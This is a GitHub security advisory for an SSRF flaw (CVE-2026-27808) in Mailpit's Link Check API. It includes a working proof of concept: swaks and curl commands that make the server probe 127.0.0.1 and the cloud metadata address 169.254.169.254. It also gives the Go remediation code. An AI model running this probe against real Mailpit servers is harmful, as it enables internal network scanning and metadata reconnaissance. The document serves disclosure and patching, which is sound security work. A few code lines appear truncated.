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Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API

Moderate severity GitHub Reviewed Published Feb 24, 2026 in axllent/mailpit • Updated Feb 26, 2026

Package

gomod github.com/axllent/mailpit (Go)

Affected versions

<= 1.29.1

Patched versions

1.29.2

Description

Summary

The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.

This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the
screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.

Details

The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:

  func doHead(link string, followRedirects bool) (int, error) {
      timeout := time.Duration(10 * time.Second)
      tr := &http.Transport{}
      // ...
      client := http.Client{
          Timeout:   timeout,
          Transport: tr,
          // ...
      }
      req, err := http.NewRequest("HEAD", link, nil)
      // ...
      res, err := client.Do(req)  // No IP validation — requests any URL
      return res.StatusCode, nil
  }

The call chain is:

  1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in
    https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84
  2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
  3. Which extracts all URLs from the email's HTML (, , ) and text body, then passes them to
    getHTTPStatuses() in     https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14
  4. Which spawns goroutines calling doHead() for each URL with no filtering

There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).

PoC

Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.

Step 1 — Start a listener to prove the SSRF:

python3 -m http.server 8081 --bind 127.0.0.1

Step 2 — Send a crafted email via SMTP:

  swaks --to recipient@example.com \
        --from attacker@example.com \
        --server localhost:1025 \
        --header "Content-Type: text/html" \
        --body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
  href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'

Step 3 — Get the message ID:

curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
Or use the shorthand ID latest.

Step 4 — Trigger the link check:

curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .

Expected result:

  • The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
  • The API response contains the status code and status text for each internal target:
  {
    "Errors": 0,
    "Links": [
      {"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
      {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
    ]
  }

-- This behavior can be identified by creating a email txt file as

cat email.txt > 
From: sender@example.com
To: recipient@example.com
Subject: Email Subject

This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408

  • Start a Python server on port 8408

  • execute the command mailpit sendmail < email.txt

  • Observe a request to your python server and link status on the UI as OK

The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning

Impact

Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.

What an attacker can do:

  • Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages
    (connection refused vs. timeout vs. 200 OK).
  • Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
  • Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.
  • Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.

This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making
exploitation straightforward without any timing or side-channel inference.

Remediation

Then standard Go library can be used to identify a local address being requested and deny it.

func isBlockedIP(ip net.IP) bool {
        return ip.IsLoopback() ||
                ip.IsPrivate() ||
                ip.IsLinkLocalUnicast() ||
                ip.IsLinkLocalMulticast() ||
                ip.IsUnspecified() ||
                ip.IsMulticast()
  }

  - IsLoopback() — 127.0.0.0/8, ::1
  - IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
  - IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
  - IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
  - IsUnspecified() — 0.0.0.0, ::
  - IsMulticast() — 224.0.0.0/4, ff00::/8

And the safe dialer that uses it:

 func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
        return func(ctx context.Context, network, address string) (net.Conn, error) {
                host, port, err := net.SplitHostPort(address)
                if err != nil {
                        return nil, err
                }

                ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
                if err != nil {
                        return nil, err
                }

                for _, ip := range ips {
                        if isBlockedIP(ip.IP) {
                                return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
                        }
                }

                return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
        }
  }

Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on
redirect hops:

  func doHead(link string, followRedirects bool) (int, error) {
        if !isValidLinkURL(link) {
                return 0, fmt.Errorf("invalid URL: %s", link)
        }

        dialer := &net.Dialer{
                Timeout:   5 * time.Second,
                KeepAlive: 30 * time.Second,
        }

        tr := &http.Transport{
                DialContext: safeDialContext(dialer),
        }

        if config.AllowUntrustedTLS {
                tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
        }

        client := http.Client{
                Timeout:   10 * time.Second,
                Transport: tr,
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                        if len(via) >= 3 {
                                return errors.New("too many redirects")
                        }
                        if !followRedirects {
                                return http.ErrUseLastResponse
                        }
                        if !isValidLinkURL(req.URL.String()) {
                                return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
                        }
                        return nil
                },
        }

        req, err := http.NewRequest("HEAD", link, nil)
        if err != nil {
                logger.Log().Errorf("[link-check] %s", err.Error())
                return 0, err
        }

        req.Header.Set("User-Agent", "Mailpit/"+config.Version)

        res, err := client.Do(req)
        if err != nil {
                if res != nil {
                        return res.StatusCode, err
                }
                return 0, err
        }

        return res.StatusCode, nil
  }

  func isValidLinkURL(str string) bool {
        u, err := url.Parse(str)
        return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
  }

This fix should mitigate the reported SSRF.

References

@axllent axllent published to axllent/mailpit Feb 24, 2026
Published by the National Vulnerability Database Feb 26, 2026
Published to the GitHub Advisory Database Feb 26, 2026
Reviewed Feb 26, 2026
Last updated Feb 26, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(25th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-27808

GHSA ID

GHSA-mpf7-p9x7-96r3

Source code

Credits

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